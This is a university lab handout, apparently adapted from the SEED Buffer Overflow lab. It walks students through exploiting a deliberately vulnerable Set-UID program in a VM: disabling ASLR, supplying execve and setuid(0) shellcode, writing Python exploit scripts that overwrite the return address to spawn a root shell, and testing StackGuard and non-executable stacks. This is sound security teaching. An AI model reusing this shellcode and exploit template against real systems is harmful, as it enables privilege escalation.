Buffer Overflow Attack Lab

Table of Contents:

Overview

Overview Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. The objective of this lab is for students to gain practical insights into this type of vulnerability, and learn how to exploit the vulnerability in attacks.

In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in the operating system to counter buffer overflow attacks. Students need to evaluate whether the schemes work or not and explain why.

This lab covers the following topics:

- Buffer overflow vulnerability and attack
- Stack layout
- Address randomization, non-executable stack, and StackGuard
- Shellcode (32-bit and 64-bit)
- The return-to-libc attack, which aims at defeating the non-executable stack countermeasure, is covered in a separate lab.

This lab has been tested within the seed labs 20.04 VM. You are to download the Labsetup.zip file within this VM and perform the tasks here.The Labsetup.zip file can be found at https://seedsecuritylabs.org/Labs_20.04/Software/Buffer_Overflow_Setuid/ and has also been shared along with this document on microsoft teams.

For those using the website, the tasks and steps remain the same. The container will already have the Labsetup folder required for this lab. This lab will require ssh to access the machine and can be done using the command:

$ ssh seed@labs.risc-gen.tech -p [PORT NUMBER]

Environment Setup

Turning Off Countermeasures

Modern operating systems have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first. Later on, we will enable them and see whether our attack can still be successful or not.

Address Space Randomization. Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks.

Disable address space randomization using the following command:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

Configuring /bin/sh. In the recent versions of Ubuntu OS, the `/bin/sh` symbolic link points to the `/bin/dash` shell. The dash program, as well as bash, has implemented a security countermeasure that prevents itself from being executed in a Set-UID process. Basically, if they detect that they are executed in a Set-UID process, they will immediately change the effective user ID to the process's real user ID, essentially dropping the privilege.

Since our victim program is a Set-UID program, and our attack relies on running `/bin/sh`, the countermeasure in `/bin/dash` makes our attack more difficult. Therefore, we will link `/bin/sh` to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in `/bin/dash` can be easily defeated). We have installed a shell program called `zsh` in our Ubuntu 20.04 VM.

Use the following command to link /bin/sh to /bin/zsh:

```
$ sudo ln -sf /bin/zsh /bin/sh
```

Task 1: Getting Familiar with Shellcode:

The ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program's privilege. Shellcode is widely used in most code-injection attacks. Let us get familiar with it in this task.

The C Version of Shellcode

A shellcode is basically a piece of code that launches a shell. If we use C code to implement it, it will look like the following:

```
#include <stdio.h>
int main() {
      char *name[2];
      name[0] = "/bin/sh";
      name[1] = NULL;
      execve(name[0], name, NULL);
}
```

Unfortunately, we cannot just compile this code and use the binary code as our shellcode (detailed explanation is provided in the SEED book). The best way to write a shellcode is to use assembly code. In this lab, we only provide the binary version of a shellcode, without explaining how it works (it is non-trivial). If you are interested in how exactly shellcode works and you want to write a shellcode from scratch, you can learn that from a separate SEED lab called Shellcode Lab.

32-bit Shellcode

```
; Store the command on stack
xor  eax, eax
push eax
push "//sh"
push "/bin"
mov  ebx, esp     ; ebx --> "/bin//sh": execve()'s 1st argument

; Construct the argument array argv[]
push eax          ; argv[1] = 0
push ebx          ; argv[0] --> "/bin//sh"
mov  ecx, esp     ; ecx --> argv[]: execve()'s 2nd argument

; For environment variable
xor  edx, edx     ; edx = 0: execve()'s 3rd argument

; Invoke execve()
xor  eax, eax     ;
mov  al,  0x0b    ; execve()'s system call number
int  0x80
```

The shellcode above basically invokes the execve() system call to execute /bin/sh. In a separate SEED lab, the Shellcode lab, we guide students to write shellcode from scratch. Here we only give a very brief explanation.

• The third instruction pushes "//sh", rather than "/sh" into the stack. This is because we need a 32-bit number here, and "/sh" has only 24 bits. Fortunately, "//" is equivalent to "/", so we can get away with a double slash symbol.
• We need to pass three arguments to execve() via the ebx, ecx and edx registers, respectively. The majority of the shellcode basically constructs the content for these three arguments.
• The system call execve() is called when we set al to 0x0b, and execute "int 0x80".

64-Bit Shellcode

We provide a sample 64-bit shellcode in the following. It is quite similar to the 32-bit shellcode, except that the names of the registers are different and the registers used by the execve() system call are also different. Some explanation of the code is given in the comment section, and we will not provide a detailed explanation on the shellcode.

```
xor  rdx, rdx          ; rdx = 0: execve()'s 3rd argument
push rdx
mov  rax, '/bin//sh'   ; the command we want to run
push rax               ;
mov  rdi, rsp          ; rdi --> "/bin//sh": execve()'s 1st argument
push rdx               ; argv[1] = 0
push rdi               ; argv[0] --> "/bin//sh"
mov  rsi, rsp          ; rsi --> argv[]: execve()'s 2nd argument
xor  rax, rax
mov  al,  0x3b         ; execve()'s system call number
syscall
```

Task: Invoking the Shellcode

We have generated the binary code from the assembly code above, and put the code in a C program called call `shellcode.c` inside the `shellcode` folder. If you would like to learn how to generate the binary code yourself, you should work on the Shellcode lab. In this task, we will test the shellcode.
When we compile the program using the `-m32` flag, the 32-bit version will be used; without this flag, the 64-bit version will be used. Using the provided Makefile, you can compile the code by typing make. Two binaries will be created, `a32.out` (32-bit) and `a64.out` (64-bit). Run them and describe your observations. It should be noted that the compilation uses the `execstack` option, which allows code to be executed from the stack; without this option, the program will fail.

These files are found in the **`shellcode`** folder inside the **`Labsetup`** folder, move into this folder and execute the commands.

Commands :

$ make
$ ./a32.out
$ exit
$ ./a64.out
$ exit

Task 2: Understanding the Vulnerable Program

The vulnerable program used in this lab is called `stack.c`, which is in the `code` folder. This program has a buffer-overflow vulnerability, and your job is to exploit this vulnerability and gain the root privilege. It first reads an input from a file called `badfile`, and then passes this input to another buffer in the function `bof()`. The original input can have a maximum length of 517 bytes, but the buffer in `bof()` is only `BUF_SIZE` bytes long, which is less than 517. Because `strcpy()` does not check boundaries, buffer overflow will occur.

Since this program is a root-owned Set-UID program, if a normal user can exploit this buffer overflow vulnerability, the user might be able to get a root shell. It should be noted that the program gets its input from a file called `badfile`. This file is under users' control. Now, our objective is to create the contents for `badfile`, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

Compilation. The compilation and setup commands are already included in `Makefile`, so we just need to type `make` to execute those commands. The variables `L1 , L2 , L3 , L4` are set in Makefile; they will be used during the compilation.

Move to the `code` folder within the `Labsetup` folder first before running the below commands.

Command:

$ make

Task 3: Launching Attack on 32-bit Program (Level 1)

To exploit the buffer-overflow vulnerability in the target program, the most important thing to know is the distance between the buffer's starting position and the place where the return-address is stored. We will use a debugging method to find it out. Since we have the source code of the target program, we can compile it with the debugging flag turned on. That will make it more convenient to debug.

Commands :

$ touch badfile
$ gdb stack-L1-dbg
gdb-peda$ b bof
gdb-peda$ run
gdb-peda$ next
gdb-peda$ p $ebp
gdb-peda$ p &buffer
gdb-peda$ p/d [address of ebp]-[address of buffer variable]
gdb-peda$ q

Note 1. When gdb stops inside the `bof()` function, it stops before the `ebp` register is set to point to the current stack frame, so if we print out the value of ebp here, we will get the caller's `ebp` value. We need to use next to execute a few instructions and stop after the `ebp` register is modified to point to the stack frame of the `bof()` function. The SEED book is based on Ubuntu 16.04, and gdb's behavior is slightly different, so the book does not have the `next` step.

Note 2. It should be noted that the frame pointer value obtained from gdb is different from that during the actual execution (without using gdb). This is because gdb has pushed some environment data into the stack before running the debugged program. When the program runs directly without using gdb, the stack does not have that data, so the actual frame pointer value will be larger. You should keep this in mind when constructing your payload.

Launching Attacks

To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside the `badfile`. We will use a Python program to do that. We provide a skeleton program called `exploit.py`, which is included in the lab setup file. The code is incomplete, and students need to replace **ONLY THE ADDRESS** value specified by the **`ret variable`** in the code.

The new address value will be the address of the **buffer variable + 0x120**, which we get from running "`p &buffer`" in gdb. Also ensure that there are no "0"s in your resulting address value as this will cause strcpy() to stop copying all data following the address.

exploit-L1.py

```
#!/usr/bin/python3
import sys

shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)
print(len(shellcode))
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xFFFFFFFF      # Change this number = address of buffer variable + 0x120
offset =  112

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
   f.write(content)
```

Before running the above exploit generation code, ensure that you have created the badfile to which this content will be written to.

After you finish the above program, run it. This will generate the contents for the badfile. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell:

Commands:

$ chmod u+x exploit.py
$ ./exploit.py
$ ./stack-L1

Task 4: Launching Attack without Knowing Buffer Size (Level 2)

In the Level-1 attack, using `gdb`, we get to know the size of the buffer. In the real world, this piece of information may be hard to get. For example, if the target is a server program running on a remote machine, we will not be able to get a copy of the binary or source code. In this task, we are going to add a constraint: you can still use `gdb`, but you are not allowed to derive the buffer size from your investigation. Actually, the buffer size is provided in `Makefile`, but you are not allowed to use that information in your attack.

Your task is to get the vulnerable program to run your shellcode under this constraint. We assume that you do know the range of the buffer size, which is from 100 to 200 bytes. Another fact that may be useful to you is that, due to the memory alignment, the value stored in the frame pointer is always multiple of four (for 32-bit programs).

Please be noted, you are only allowed to construct one payload that works for any buffer size within this range. You will not get all the credits if you use the brute-force method, i.e., trying one buffer size each time. The more you try, the easier it will be detected and defeated by the victim. That's why minimizing the number of trials is important for attacks. In your lab report, you need to describe your method, and provide evidence.

Commands :

```
$ rm badfile
$ touch badfile
$ gdb stack-L2-dbg
gdb-peda$ b bof
gdb-peda$ run
gdb-peda$ next
gdb-peda$ p &buffer
gdb-peda$ q
```

Launching the attack.

The code is incomplete, and students need to replace **ONLY THE ADDRESS** value specified by the **`ret variable`** in the code. The return address value to be filled in the exploit code will be the address of the **buffer variable + 0x120**, which we get from running "`p &buffer`" in gdb. Also ensure that there are no "0"s in your resulting address value as this will cause strcpy() to stop copying all data following the address.

exploit-L2.py

```
#!/usr/bin/python3
import sys

shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)
#print(len(shellcode))
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xFFFFFF      # Change this number = address of buffer variable + 0x120
offset =  112

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address

while offset<=212:

   content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
   offset=offset + 4
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

After creating the `exploit-L2.py` file and completing the exploit code, run the following commands:

$ chmod u+x exploit-L2.py
$ ./exploit-L2.py
$ ./stack-L2

Tasks 6: Defeating dash's Countermeasure

The `dash` shell in the Ubuntu OS drops privileges when it detects that the effective UID does not equal the real UID (which is the case in a `Set-UID` program). This is achieved by changing the effective UID back to the real UID, essentially, dropping the privilege. In the previous tasks, we let `/bin/sh` point to another shell called `zsh`, which does not have such a countermeasure. In this task, we will change it back, and see how we can defeat the countermeasure. Please do the following, so `/bin/sh` points back to `/bin/dash`.

Command:

$ sudo ln -sf /bin/dash /bin/sh

To defeat the countermeasure in buffer-overflow attacks, all we need to do is to change the real UID, so it equals the effective UID. When a root-owned `Set-UID` program runs, the effective UID is zero, so before we invoke the shell program, we just need to change the real UID to zero. We can achieve this by invoking `setuid(0)` before executing `execve()` in the shellcode. The following assembly code shows how to invoke `setuid(0)`. The binary code is already put inside `call_shellcode.c`. You just need to add it to the beginning of the shellcode.

```
; Invoke setuid(0): 32-bit
xor ebx, ebx      ; ebx = 0: setuid()'s argument
xor eax, eax
mov  al, 0xd5     ; setuid()'s system call number
int 0x80

; Invoke setuid(0): 64-bit
xor rdi, rdi      ; rdi = 0: setuid()'s argument
xor rax, rax
mov  al, 0x69     ; setuid()'s system call number
syscall
```

Experiment. Compile `call_shellcode.c` into root-owned binary (by typing "make setuid"). Run the shellcode `a32.out` and `a64.out` with and without the `setuid(0)` system call. Before updating the call_shellcode file run the commands and describe your observations.

$ make
$ ./a32.out
$ exit
$ ./a64.out
$ exit

Update the `shellcode` variable in the `call_shellcode.c` file to the following and then run the following commands:

```
const char shellcode[] =
#if __x86_64__
  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;
```

Commands:

$ make setuid
$ ./a32.out
$ exit
$ ./a64.out
$ exit

Launching the attack again. Now, using the updated shellcode, we can attempt the attack again on the vulnerable program, and this time, with the shell's countermeasure turned on. Repeat your attack on Level 1, and see whether you can get the root shell. Although repeating the attacks on Levels 2 and 3 are not required, feel free to do that and see whether they work or not. **The address value to be filled in for the `ret` variable will be the same as used in task 3.**

exploit-L1-6.py

```
#!/usr/bin/python3
import sys

shellcode= (
  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)
```

```
print(len(shellcode))
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xFFFFFFFF     # Change this number
offset =  112

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

Command:

$ ./exploit-L1-6.py
$ ./stack-L1
 # ls -l /bin/sh /bin/zsh /bin/dash

Task 7: Defeating Address Randomization

On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have `2^19 = 524,288` possibilities. This number is not that high and can be exhausted easily with the brute-force approach. In this task, we use such an approach to defeat the address randomization countermeasure on our 32-bit VM. First, we turn on Ubuntu's address randomization using the following command. Then we run the same attack against `stack-L1`. Please describe and explain your observation.

Command:

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
$ rm badfile
$ touch badfile
$ ./exploit-L1.py
$ ./stack-L1

We then use the brute-force approach to attack the vulnerable program repeatedly, hoping that the address we put in the badfile can eventually be correct. We will only try this on `stack-L1`, which is a 32-bit program. You can use the following shell script to run the vulnerable program in an infinite loop. If your attack succeeds, the script will stop; otherwise, it will keep running. Please be patient, as this may take a few minutes, but if you are very unlucky, it may take longer. Please describe your observation.

Command:

$ ./brute-force.sh

Tasks 8: Experimenting with Other Countermeasures

Task 8.a: Turn on the StackGuard Protection

Many compilers, such as gcc, implement a security mechanism called StackGuard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. In our previous tasks, we disabled the StackGuard protection mechanism when compiling the programs. In this task, we will turn it on and see what will happen.

First, repeat the Task 3 attack with the StackGuard off, and make sure that the attack is still successful. Remember to turn off the address randomization, because you have turned it on in the previous task:

$ sudo sysctl -w kernel.randomize_va_space=0

Then, we turn on the StackGuard protection by recompiling the vulnerable stack.c program without the -fno-stack-protector flag. In gcc version 4.3.3 and above, StackGuard is enabled by default. Launch the attack; report and explain your observations.

We will not be modifying the exploit file before executing the commands given below. To enable the stack protector feature, remove the " `-fno-stack-protector`" flag from the "`FLAGS`" variable in the `Makefile` and save it. Remove the old `stack-L1` executable and run the following commands:

$ make
$ ./stack-L1

Task 8.b: Turn on the Non-executable Stack Protection

Operating systems used to allow executable stacks, but this has now changed: In Ubuntu OS, the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable. This marking is done automatically by the gcc, which by default makes stack non-executable. We can specifically make it non-executable using the "`-z noexecstack`" flag in the compilation. In our previous tasks, we used "-z execstack" to make stacks executable.

In this task, we will make the stack non-executable. We will do this experiment in the shellcode folder. The call shellcode program puts a copy of shellcode on the stack, and then executes the code from the stack. Please recompile call shellcode.c into `a32.out` and `a64.out`, without the "`-z execstack`" option. Run them, describe and explain your observations.

Move into the shellcode folder within the lab setup folder. Remove the “-z execstack “ flag from the “all:” section of the Makefile. Once done remove the old executables and run the below commands:

$ make
$ ./a32.out
$ ./a64.out